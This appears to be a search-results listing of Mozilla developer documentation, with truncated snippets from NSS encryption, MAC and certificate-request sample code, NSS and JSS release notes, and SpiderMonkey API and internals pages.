...ntashex(pr_stderr, newmac, newmaclen); rv = secfailure; } cleanup: if (ctxmac) { pk11_destroycontext(ctxmac, pr_true); } if (ctxenc) { pk11_destroycontext(ctxenc, pr_true); } if (outfile) { pr_close(outfile); } return rv; } /* * gets iv and ckaids from header file */ secstatus getivandckaidsfromheader(const char *cipherfilename, secitem *ivitem, secitem *enckeyitem, secitem *mackeyitem) { secstatus rv; /* open intermediate file, read in header, get iv and cka_ids of two keys * from it */ rv = readfromheaderfile(cipherfilename, iv, ivitem, pr_true); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not retrieve iv from cipher file\n"); goto cleanup; } rv =...
... * loop until eof(input) * read a buffer of plaintext from input file, * mac it, append the mac to the plaintext * encrypt it using cbc, using previously created iv, * store the last block of ciphertext as the new iv, * write the cipher text to intermediate file * close files * report success */ secstatus rv; prfiledesc *infile; prfiledesc *headerfile; prfiledesc *encfile; unsigned char *enckeyid = (unsigned char *) "encrypt key"; unsigned char *mackeyid = (unsigned char *) "mac key"; secitem enckeyid = { ...
Encrypt and decrypt MAC using token
secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *ivitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigne...
...temp = pr_write(outfile, decbuf, decbuflen); if (temp != decbuflen) { pr_fprintf(pr_stderr, "write error\n"); rv = secfailure; break; } /* save last block of ciphertext */ memcpy(iv, decbuf, decbuflen); ivlen = decbuflen; blocknumber++; } if (rv != secsuccess) { goto cleanup; } rv = macfinal(ctxmac, newmac, &newmaclen, sizeof(newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data, newmac, newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); pri...
...ntashex(pr_stderr, newmac, newmaclen); rv = secfailure; } cleanup: if (ctxmac) { pk11_destroycontext(ctxmac, pr_true); } if (ctxenc) { pk11_destroycontext(ctxenc, pr_true); } if (outfile) { pr_close(outfile); } return rv; } /* * gets iv and ckaids from header file */ secstatus getivandckaidsfromheader(const char *cipherfilename, secitem *ivitem, secitem *enckeyitem, secitem *mackeyitem) { secstatus rv; /* open intermediate file, read in header, get iv and cka_ids of two keys * from it */ rv = readfromheaderfile(cipherfilename, iv, ivitem, pr_true); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not retrieve iv from cipher file\n"); goto cleanup; } rv =...
... * loop until eof(input) * read a buffer of plaintext from input file, * mac it, append the mac to the plaintext * encrypt it using cbc, using previously created iv, * store the last block of ciphertext as the new iv, * write the cipher text to intermediate file * close files * report success */ secstatus rv; prfiledesc *infile; prfiledesc *headerfile; prfiledesc *encfile; unsigned char *enckeyid = (unsigned char *) "encrypt key"; unsigned char *mackeyid = (unsigned char *) "mac key"; secitem enckeyid = { ...
4.3.1 Release Notes
release date: 2009-12-02 introduction network security services for java (jss) 4.3.1 is a minor release with the following new features: support for ssl3 & tls renegotiation vulnerablity support to explicitly set the key usage for the generated private key jss 4.3.1 is tri-licensed under mpl 1.1/gpl 2.0/lgpl 2.1.
... new in jss 4.3.1 a list of bug fixes and enhancement requests were implemented in this release can be obtained by running this bugzilla query jss 4.3.1 requires nss 3.12.5 or higher.
...this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf.
... mailing list newsgroup rss feed ...
JSS Provider Notes
the mozilla-jss jca provider newsgroup: mozilla.dev.tech.crypto overview this document describes the jca provider shipped with jss.
...when you call getinstance() on a jca class, the jss provider checks the current per-thread default token (by calling cryptomanager.getthreadtoken()) and instructs the new object to use that token for cryptographic operations.
... whenever a new thread is created, its token is initialized to the default, the internal key storage token.
...if that fails, it calls getencoded() on the source key, and then tries to create a new key on the target token from the encoded bits.
Mozilla-JSS JCA Provider notes
the mozilla-jss jca provider newsgroup: mozilla.dev.tech.crypto overview this document describes the jca provider shipped with jss.
...when you call getinstance() on a jca class, the jss provider checks the current per-thread default token (by calling cryptomanager.getthreadtoken()) and instructs the new object to use that token for cryptographic operations.
...whenever a new thread is created, its token is initialized to the default, the internal key storage token.
...if that fails, it calls getencoded() on the source key, and then tries to create a new key on the target token from the encoded bits.
NSS_3.12.1_release_notes.html
nss 3.12.1 release notes 2008-09-05 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.1 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12.1 is a patch release for nss 3.12.
... new in nss 3.12.1 new functions in the nss shared library: cert_nametoasciiinvertible (see cert.h) convert an certname into its rfc1485 encoded equivalent.
...de unconditional bug 443760: extra semicolon in seqdatabase makes static analysis tool suspicious bug 448323: certutil -k doesn't report the token and slot names for found keys bug 448324: ocsp checker returns incorrect error code on request with invalid signing cert bug 449146: remove dead libsec function declarations bug 453227: installation of pem-encoded certificate without trailing newline fails documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation.
... new and revised documents available since the release of nss 3.11 include the following: build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.12.9 release notes
<center> 2010-09-23</center> <center> newsgroup: mozilla.dev.tech.crypto</center> introduction network security services (nss) 3.12.9 is a patch release for nss 3.12.
... new in nss 3.12.9 removed functions new ssl options new error codes bugs fixed the following bugs have been fixed in nss 3.12.9.
...22: do not use the sec_error_bad_info_access_location error code for bad crl distribution point urls bug 619268: memory leaks in cert_changecerttrust and cert_savesmimeprofile bug 585518: addtrust qualified ca root serial wrong in certdata.txt trust entry bug 337433: need cert_findcertbynicknameoremailaddrbyusage bug 592939: expired cas in certdata.txt documentation <for a="" class="new " documentation="" href="/en/index.html#documentation" list="" nss="" of="" pages="" primary="" rel="internal" see="" the="" title="en/index.html#documentation">nss documentation.
... new and revised documents available since the release of nss 3.11 include the following:</for> build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.9 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.14.2 release notes
nss 3.14.2 should be used with nspr 4.9.5 or newer.
... the release is available for download from https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_2_rtm/src/ for the primary nss documentation pages please visit /docs/nss new in nss 3.14.2 nss will now make use of the intel aes-ni and avx instruction sets for hardware-accelerated aes-gcm on 64-bit linux systems.
... note: the new assembly code requires gnu as version 2.19 or newer.
... new types: in certt.h cert_pi_useonlytrustanchors in secoidt.h sec_oid_ms_ext_key_usage_ctl_signing notable changes in nss 3.14.2 bug 805604 - support for aes-ni and avx accelerated aes-gcm was contributed by shay gueron of intel.
NSS 3.15.2 release notes
new in nss 3.15.2 new functionality aes-gcm ciphersuites: aes-gcm cipher suite (rfc 5288 and rfc 5289) support has been added when tls 1.2 is negotiated.
... specifically, the following cipher suites are now supported: tls_ecdhe_ecdsa_with_aes_128_gcm_sha256 tls_ecdhe_rsa_with_aes_128_gcm_sha256 tls_dhe_rsa_with_aes_128_gcm_sha256 tls_rsa_with_aes_128_gcm_sha256 new functions pk11_cipherfinal has been introduced, which is a simple alias for pk11_digestfinal.
... new types no new types have been introduced.
... new pkcs #11 mechanisms no new pkcs#11 mechanisms have been introduced notable changes in nss 3.15.2 bug 880543 - support for aes-gcm ciphersuites that use the sha-256 prf bug 663313 - md2, md4, and md5 signatures are no longer accepted for ocsp or crls, consistent with their handling for general certificate signatures.
NSS 3.17 release notes
nss 3.17 requires nspr 4.10.7 or newer.
... nss 3.17 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_rtm/src/ new in nss 3.17 new functionality when using ecdhe, the tls server code may be configured to generate a fresh ephemeral ecdh key for each handshake, by setting the ssl_reuse_server_ecdhe_key socket option to pr_false.
... new macros in ssl.h ssl_reuse_server_ecdhe_key notable changes in nss 3.17 the manual pages for the certutil and pp tools have been updated to document the new parameters that had been added in nss 3.16.2.
... on windows, the new build variable use_static_rtl can be used to specify the static c runtime library should be used.
NSS 3.19 release notes
nss 3.19 requires nspr 4.10.8 or newer.
... new in nss 3.19 new functionality for some certificates, such as root ca certificates that don't embed any constraints, nss might impose additional constraints such as name constraints.
... a new api (cert_getimposednameconstraints) has been added that allows one to lookup imposed constraints.
... new functions in cert.h cert_getimposednameconstraints - check if any imposed constraints exist for the given certificate, and if found, return the constraints as encoded certificate extensions.
NSS 3.28.3 release notes
nss 3.28.3 requires netscape portable runtime (nspr) 4.13.1 or newer.
... nss 3.28.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/security/nss/releases/nss_3_28_3_rtm/src/ new in nss 3.28.3 new functionality no new functionality is introduced in this release.
... seckeyecpublickey had been extended with a new attribute, named "encoding".
...you should avoid using nss 3.29, and rather use nss 3.29.1 or a newer version.
NSS 3.28 release notes
nss 3.28 requires netscape portable runtime (nspr) 4.13.1 or newer.
... nss 3.28 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_rtm/src/ new in nss 3.28 new functionality nss includes support for tls 1.3 draft -18.
... new functions in ssl.h ssl_exportearlykeyingmaterial implements a key exporter based on the tls 1.3 early exporter secret.
... new functions to configure signature schemes are provided: ssl_signatureschemeprefset, ssl_signatureschemeprefget.
NSS 3.30 release notes
nss 3.30 requires netscape portable runtime (nspr); 4.13.1 or newer.
... nss 3.30 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_rtm/src/ new in nss 3.30 new functionality in the pkcs#11 root ca module (nssckbi), cas with positive trust are marked with a new boolean attribute, cka_nss_mozilla_ca_policy, set to true.
... new functions in cert.h cert_compareava - performs a comparison of two certava structures, and returns a seccomparison result.
... new macros in ciferfam.h pkcs12_aes_cbc_128, pkcs12_aes_cbc_192, pkcs12_aes_cbc_256 - cipher family identifiers corresponding to the pkcs#5 v2.1 aes based encryption schemes used in the pkcs#12 support in nss in pkcs11n.h cka_nss_mozilla_ca_policy - identifier for a boolean pkcs#11 attribute, that should be set to true, if a ca is present because of it's acceptance according to ...
NSS 3.34 release notes
nss 3.34 requires netscape portable runtime (nspr) 4.17, or newer.
... new in nss 3.34 new functionality when listing an nss database.
... sslchannelinfo has two new fields (bug 1396525) sslnamedgroup originalkeagroup holds the key exchange group of the original handshake, when the session was resumed.
... new functions bugs fixed in nss 3.34 this bugzilla query returns all the bugs fixed in nss 3.34: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.34 compatibility nss 3.34 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.38 release notes
nss 3.38 requires nspr 4.19 or newer.
... nss 3.38 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_38_rtm/src/ new in nss 3.38 new functionality added support for the tls record size limit extension.
... when using certutil -o to print the chain for a given certificate nickname, the new parameter --simple-self-signed may be provided, which can avoid ambiguous output in some scenarios.
... new functions in secitem.h secitem_makeitem - allocate and make an item with the requested contents new macros in ssl.h ssl_record_size_limit - used to control the tls record size limit extension notable changes in nss 3.38 fixed cve-2018-0495 in bug 1464971.
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
"-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" #define lab_header "-----begin key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-----end new certificate request-----" #define ns_cert_enc_header "-----begin certificate for encryption-----" #define ns_cert_enc_trailer "-----end certificate for encryption-----" #define ns_cert_vfy_header "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signatu...
...; prfiledesc *infile = null; sgncontext *sgn = null; /* open the input file for reading */ infile = pr_open(infilename, pr_rdonly, 0); if (!infile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for reading.\n", infilename); rv = secfailure; goto cleanup; } /* sign using private key */ sgn = sgn_newcontext(sec_oid_pkcs1_md5_with_rsa_encryption, pk); if (!sgn) { pr_fprintf(pr_stderr, "unable to create context for signing\n"); rv = secfailure; goto cleanup; } rv = sgn_begin(sgn); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_begin\n"); goto cleanup; } while ((nb = pr_read(infile, ibuf, sizeof(ibuf))) ...
...nup: return privkey; } /* * get the certificate request from csr */ static certcertificaterequest * getcertrequest(char *infilename, prbool ascii) { certsigneddata signeddata; secitem reqder; certcertificaterequest *certreq = null; secstatus rv = secsuccess; prarenapool *arena = null; reqder.data = null; arena = port_newarena(der_default_chunksize); if (arena == null) { rv = secfailure; goto cleanup; } rv = readderfromfile(&reqder, infilename, ascii); if (rv) { rv = secfailure; goto cleanup; } certreq = (certcertificaterequest*) port_arenazalloc (arena, sizeof(certcertificaterequest)); if (!certreq) { rv = secfailure; ...
...{ pr_fprintf(pr_stderr, "unable to create subject public key\n"); rv = secfailure; goto cleanup; } /* generate certificate request */ cr = cert_createcertificaterequest(subject, spki, null); if (!cr) { pr_fprintf(pr_stderr, "unable to make certificate request\n"); rv = secfailure; goto cleanup; } arena = port_newarena(der_default_chunksize); if (!arena) { fprintf(stderr, "out of memory"); rv = secfailure; goto cleanup; } exthandle = cert_startcertificaterequestattributes(cr); if (exthandle == null) { port_freearena (arena, pr_false); rv = secfailure; goto cleanup; } cert_finishextensions(exthandle); cert_finishcertifi...
Encrypt Decrypt_MAC_Using Token
secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *ivitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigne...
...*/ memcpy(iv, decbuf, decbuflen); ivlen = decbuflen; blocknumber++; } if (rv != secsuccess) { goto cleanup; } rv = macfinal(ctxmac, newmac, &newmaclen, sizeof(newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data, newmac, newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); pri...
...ntashex(pr_stderr, newmac, newmaclen); rv = secfailure; } cleanup: if (ctxmac) { pk11_destroycontext(ctxmac, pr_true); } if (ctxenc) { pk11_destroycontext(ctxenc, pr_true); } if (outfile) { pr_close(outfile); } return rv; } /* * gets iv and ckaids from header file.
... * loop until eof(input) * read a buffer of plaintext from input file, * mac it, append the mac to the plaintext * encrypt it using cbc, using previously created iv, * store the last block of ciphertext as the new iv, * write the cipher text to intermediate file * close files * report success */ secstatus rv; prfiledesc *infile; prfiledesc *headerfile; prfiledesc *encfile; unsigned char *enckeyid = (unsigned char *) "encrypt key"; unsigned char *mackeyid = (unsigned char *) "mac key"; secitem enckeyid = { ...
NSS Sample Code Sample_3_Basic Encryption and MACing
secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *ivitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigne...
...temp = pr_write(outfile, decbuf, decbuflen); if (temp != decbuflen) { pr_fprintf(pr_stderr, "write error\n"); rv = secfailure; break; } /* save last block of ciphertext */ memcpy(iv, decbuf, decbuflen); ivlen = decbuflen; blocknumber++; } if (rv != secsuccess) { goto cleanup; } rv = macfinal(ctxmac, newmac, &newmaclen, sizeof(newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data, newmac, newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); pri...
...ntashex(pr_stderr, newmac, newmaclen); rv = secfailure; } cleanup: if (ctxmac) { pk11_destroycontext(ctxmac, pr_true); } if (ctxenc) { pk11_destroycontext(ctxenc, pr_true); } if (outfile) { pr_close(outfile); } return rv; } /* * gets iv and ckaids from header file */ secstatus getivandckaidsfromheader(const char *cipherfilename, secitem *ivitem, secitem *enckeyitem, secitem *mackeyitem) { secstatus rv; /* open intermediate file, read in header, get iv and cka_ids of two keys * from it */ rv = readfromheaderfile(cipherfilename, iv, ivitem, pr_true); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not retrieve iv from cipher file\n"); goto cleanup; } rv =...
... * loop until eof(input) * read a buffer of plaintext from input file * mac it, append the mac to the plaintext * encrypt it using cbc, using previously created iv * store the last block of ciphertext as the new iv * write the cipher text to intermediate file * close files * report success */ secstatus rv; prfiledesc *infile; prfiledesc *headerfile; prfiledesc *encfile; unsigned char *enckeyid = (unsigned char *) "encrypt key"; unsigned char *mackeyid = (unsigned char *) "mac key"; secitem enckeyid = { s...
sample2
iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" #define lab_header "-----begin key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-----end new certificate request-----" #define ns_cert_enc_header "-----begin certificate for encryption-----" #define ns_cert_enc_trailer "-----end certificate for encryption-----" #define ns_cert_vfy_header "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signature verification---...
...keyprivatekey *pk, secitem *res) { secstatus rv = secfailure; unsigned int nb; unsigned char ibuf[4096]; prfiledesc *infile = null; sgncontext *sgn = null; /* open the input file for reading */ infile = pr_open(infilename, pr_rdonly, 0); if (!infile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for reading.\n", infilename); rv = secfailure; goto cleanup; } /* sign using private key */ sgn = sgn_newcontext(sec_oid_pkcs1_md5_with_rsa_encryption, pk); if (!sgn) { pr_fprintf(pr_stderr, "unable to create context for signing\n"); rv = secfailure; goto cleanup; } rv = sgn_begin(sgn); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_begin\n"); goto cleanup; } while ((nb = pr_read(infile, ibuf, sizeof(ibuf))) > 0) { rv = sgn_update(sgn, ibuf, nb); if (rv != secsuccess) { pr_fprintf(p...
...nism, params, pubkeyp, pr_true /*isperm*/, pr_true /*issensitive*/, pwdata); cleanup: return privkey; } /* * get the certificate request from csr */ static certcertificaterequest * getcertrequest(char *infilename, prbool ascii) { certsigneddata signeddata; secitem reqder; certcertificaterequest *certreq = null; secstatus rv = secsuccess; prarenapool *arena = null; reqder.data = null; arena = port_newarena(der_default_chunksize); if (arena == null) { rv = secfailure; goto cleanup; } rv = readderfromfile(&reqder, infilename, ascii); if (rv) { rv = secfailure; goto cleanup; } certreq = (certcertificaterequest*) port_arenazalloc (arena, sizeof(certcertificaterequest)); if (!certreq) { rv = secfailure; goto cleanup; } certreq->arena = arena; /* since cert request is a signed data, must decode to g...
...eate info about public key */ spki = seckey_createsubjectpublickeyinfo(pubk); if (!spki) { pr_fprintf(pr_stderr, "unable to create subject public key\n"); rv = secfailure; goto cleanup; } /* generate certificate request */ cr = cert_createcertificaterequest(subject, spki, null); if (!cr) { pr_fprintf(pr_stderr, "unable to make certificate request\n"); rv = secfailure; goto cleanup; } arena = port_newarena(der_default_chunksize); if (!arena) { fprintf(stderr, "out of memory"); rv = secfailure; goto cleanup; } exthandle = cert_startcertificaterequestattributes(cr); if (exthandle == null) { port_freearena (arena, pr_false); rv = secfailure; goto cleanup; } cert_finishextensions(exthandle); cert_finishcertificaterequestattributes(cr); /* der encode the request */ encoding = sec_asn1encodeitem(are...
NSS sources building testing
create a new directory on your computer that you will use as your local work area, and run the following commands.
... (historical information: nspr and nss source code have recently been re-organized into a new directory structure.
...when adding new features to nss, tests for the new feature should be added as well.
...each test suite execution will create a new subdirectory; you should clean them up from time to time.
NSS release notes template
nss 3.xx requires nspr 4.xx or newer.
... nss 3.xx source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_xx_rtm/src/ (make a link) new in nss 3.xx new functionality either: no new functionality is introduced in this release.
... new functions in ___.h function - description new types in ___.h type - description.
... new macros in ___.h macro - description notable changes in nss 3.xx ...
Notes on TLS - SSL 3.0 Intolerant Servers
upgrade to a newer version if available, which corrects this problem.
... contact the manufacturer and inquire if there is a new version available which fixes this problem.
...we recommend strongly that you urge users to upgrade to the latest netscape version (or at least netscape 6.1) since the newer versions have the graceful rollback implemented in the code.
... detecting intolerant servers because newer versions of netscape and mozilla have built-in workaround for the problem servers, it is now unlikely that you will experience this problem.
Migration to HG
in addition for nss, we have merged the contents of directories mozilla/dbm and mozilla/security/dbm into the new directory lib/dbm.
... besides the new layout, the build system hasn't changed.
... because of the changes described above, we have decided to use a new series of (minor) version numbers.
... the first releases using the new code layout will be nspr 4.10 and nss 3.15 ...
Utility functions
_destroy mxr 3.2 and later nssbase64encoder_update mxr 3.2 and later nssrwlock_destroy mxr 3.2 and later nssrwlock_havewritelock mxr 3.2 and later nssrwlock_lockread mxr 3.2 and later nssrwlock_lockwrite mxr 3.2 and later nssrwlock_new mxr 3.2 and later nssrwlock_unlockread mxr 3.2 and later nssrwlock_unlockwrite mxr 3.2 and later nsssmime_versioncheck mxr 3.2.1 and later port_alloc mxr 3.2 and later port_arenaalloc mxr 3.2 and later port_arenagrow mxr ...
....2 and later port_arenastrdup mxr 3.2 and later port_arenaunmark mxr 3.2 and later port_arenazalloc mxr 3.2 and later port_free mxr 3.2 and later port_freearena mxr 3.2 and later port_geterror mxr 3.2 and later port_newarena mxr 3.2 and later port_realloc mxr 3.2 and later port_seterror mxr 3.2 and later port_setucs2_asciiconversionfunction mxr 3.2 and later port_setucs2_utf8conversionfunction mxr 3.2 and later port_setucs4_utf8conversionfunction mxr 3.2 and late...
... later seckey_destroyencryptedprivatekeyinfo mxr 3.2 and later seckey_destroyprivatekeyinfo mxr 3.2 and later seckey_destroypublickey mxr 3.2 and later seckey_publickeystrength mxr 3.2 and later seckey_updatecertpqg mxr 3.2 and later secmod_addnewmodule mxr 3.3 and later secmod_addnewmoduleex mxr 3.4 and later secmod_deletemoduleex mxr 3.12 and later secmod_cancelwait mxr 3.9.3 and later secmod_candeleteinternalmodule mxr 3.5 and later secmod_createmodule mxr 3.4 and later s...
...ter sgn_copydigestinfo mxr 3.2 and later sgn_createdigestinfo mxr 3.2 and later sgn_destroycontext mxr 3.2 and later sgn_destroydigestinfo mxr 3.2 and later sgn_digest mxr 3.2 and later sgn_end mxr 3.2 and later sgn_newcontext mxr 3.2 and later sgn_update mxr 3.2 and later vfy_begin mxr 3.2 and later vfy_createcontext mxr deprecated 3.12 use vfy_createcontextdirect or vfy_createcontextwithalgorithmid vfy_createcontextdirect mxr 3.12 and later vfy_createcontextwithalgorithmid...
NSS tools : signver
MozillaProjectsNSStoolssignver
signver supports two types of databases: the legacy security databases (cert8.db, key3.db, and secmod.db) and new sqlite databases (cert9.db, key4.db, and pkcs11.txt).
... in 2009, nss introduced a new set of databases that are sqlite databases rather than berkleydb.
... these new databases provide more accessibility and performance: o cert9.db for certificates o key4.db for keys o pkcs11.txt, which is listing of all of the pkcs #11 modules contained in a new subdirectory in the security databases directory because the sqlite databases are designed to be shared, these are the shared database type.
...for example, this how-to article covers how to configure firefox and thunderbird to use the new shared nss databases: o https://wiki.mozilla.org/nss_shared_db_howto for an engineering draft on the changes in the shared nss databases, see the nss project wiki: o https://wiki.mozilla.org/nss_shared_db see also signtool (1) the nss wiki has information on the new database design and how to configure applications to use it.
SpiderMonkey Build Documentation
refer the release notes under command line tools -> new features the release notes also states that this compatibility package will no longer be provided in the near future, so the build system on macos will have to be adapted to look for headers in the sdk until then, the following should help, open /library/developer/commandlinetools/packages/macos_sdk_headers_for_macos_10.14.pk this builds an executable named js in the directory build-relea...
...mkdir build_dbg.obj cd build_dbg.obj /bin/sh ../configure.in --enable-debug --disable-optimize # use "mozmake" on windows make you can also build debug builds of spidermonkey with the js_gc_zeal option, which adds a new built-in function to spidermonkey that lets you configure zealous garbage collection.
...this configure option builds the in-tree version of nspr which is probably what you want; because spidermonkey uses newer nspr symbols, the nspr that ships with your operating system probably does not work.
... apt install clang libstdc++-8-dev-i386-cross binutils-i686-gnu zlib1g-dev:i386 you'll also need rust, in addition to having normal rust set up you'll need to add another target to your existing rust toolchain (don't add a new toolchain spidermonkey will use only one toolchain and use it for both host and target code: rustup target add i686-unknown-linux-gnu to build a 32-bit version on a 64-bit linux system, you can use the following: pkg_config_libdir=/usr/lib/pkgconfig cc="gcc -m32 -mfpmath=sse -msse -msse2" cxx="g++ -m32 -mfpmath=sse -msse -msse2" ar=ar \ $src/configure --target=i686-pc-linux or for clang.
SpiderMonkey compartments
a compartment is a new concept with spidermonkey 1.8.5.
...in the new model most objects touched by a website are tightly packed next to each other in memory, with no cross-origin objects in between.
...with this new per-compartment garbage collection we shortcut having to walk unrelated heap areas of a window or tab that triggered a garbage collection.
... ​see also js_newcompartmentandglobalobject() js_entercrosscompartmentcall() js_leavecrosscompartmentcall() jsautocompartment invariants spidermonkey internals: thread safety andreas gal blog post bobby holley blog post sfink/contexts_and_compartments xpconnect security membranes ...
Garbage collection
to understand how this barrier works, first assume that we're going to do an incremental gc during which no new objects are allocated, just to keep things simple.
...a newly allocated object wasn't present at the beginning of the gc, so the snapshot-at-the-beginning barrier doesn't do it any good.
...this is easily done by simply marking new objects immediately upon allocation during an incremental gc, thus the name allocate-black.
... another detail is that write barriers can be skipped when initializing fields of newly allocated objects, because no pointer is being overwritten.
SpiderMonkey Internals
it runs automatically only when maxbytes (as passed to js_newruntime) bytes of gc things have been allocated and another thing-allocation request is made.
... watchpoints, for intercepting set operations on properties and running a debugger-supplied function that receives the old value and a pointer to the new one, which it can use to modify the new value being set.
... var sumofdivisors = new exprarray(n + 1, 1); for (var divisor = 2; divisor <= n; divisor++) { for (var j = divisor + divisor; j <= n; j += divisor) { sumofdivisors[j] += " + " + divisor; } // at this point everything up to 'divisor' has its sumofdivisors // expression calculated, so we can determine whether it's perfect // already by evaluating.
...the js program built from this source provides a test vehicle for evaluating scripts and calling functions, trying out new debugger primitives, etc.
JS::GetSelfHostedFunction
this article covers features introduced in spidermonkey 31 create a new javascript function that is implemented in self-hosted javascript.
... id js::handle&lt;jsid&gt; a pointer to jsid of the name to assign to the new function.
... description js::getselfhostedfunction creates a new javascript function implemented in self-hosted javascript.
... on success, js::getselfhostedfunction returns a pointer to the newly created function.
JS::HandleValueArray
n>& values); js::handlevaluearray(const js::callargs& args); js::handlevaluearray::frommarkedlocation(size_t len, const js::value *elements); js::handlevaluearray::subarray(const js::handlevaluearray& values, size_t startindex, size_t len); js::handlevaluearray::empty(); name type description value js::rootedvalue &amp; an element of newly created 1-length array.
... values js::autovaluevector &amp; elements of newly created array.
... values js::autovaluearray &amp; elements of newly created array.
... args js::callargs &amp; elements of newly created array.
JSObjectOps.defineProperty
value jsval the initial value for the new property.
... getter jspropertyop the getter for the new property.
... setter jspropertyop the setter for the new property.
... attrs unsigned int the property attributes for the new property.
JS_AddExternalStringFinalizer
the js engine will automatically call this function each time a string created by js_newexternalstring is garbage-collected.
...this is always a string that the application previously created by calling js_newexternalstring.
... the callback may use js_getstringchars(str) to get a pointer to the character buffer, which is the pointer which the application passed to js_newexternalstring() when creating the string.
... description add a finalizer for external strings created by js_newexternalstring using a type-code returned from this function, and that understands how to free or release the memory pointed at by js_getstringchars(str).
JS_CompileFunctionForPrincipals
name const char * name to assign the newly compiled function.
... name is the name to assign to the newly created function.
... on success, js_compilefunctionforprincipals and js_compileucfunctionforprincipals return a pointer to the newly compiled function.
... see also mxr id search for js_compilefunctionforprincipals mxr id search for js_compileucfunctionforprincipals jsfun_bound_method jsfun_global_parent js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_decompilefunction js_decompilefunctionbody js_definefunction js_definefunctions js_getfunctionobject js_newfunction js_valuetofunction bug 938907 ...
JS_DefinePropertyWithTinyId
create a new object property with a tiny id.
... obj jsobject * object for which to create the new property.
... value jsval initial stored value for the new property.
... setter jspropertyop setproperty method for specifying a new property value.
JS_EnterLocalRootScope
by contrast, local root scopes protect newly-created objects, doubles, and strings.
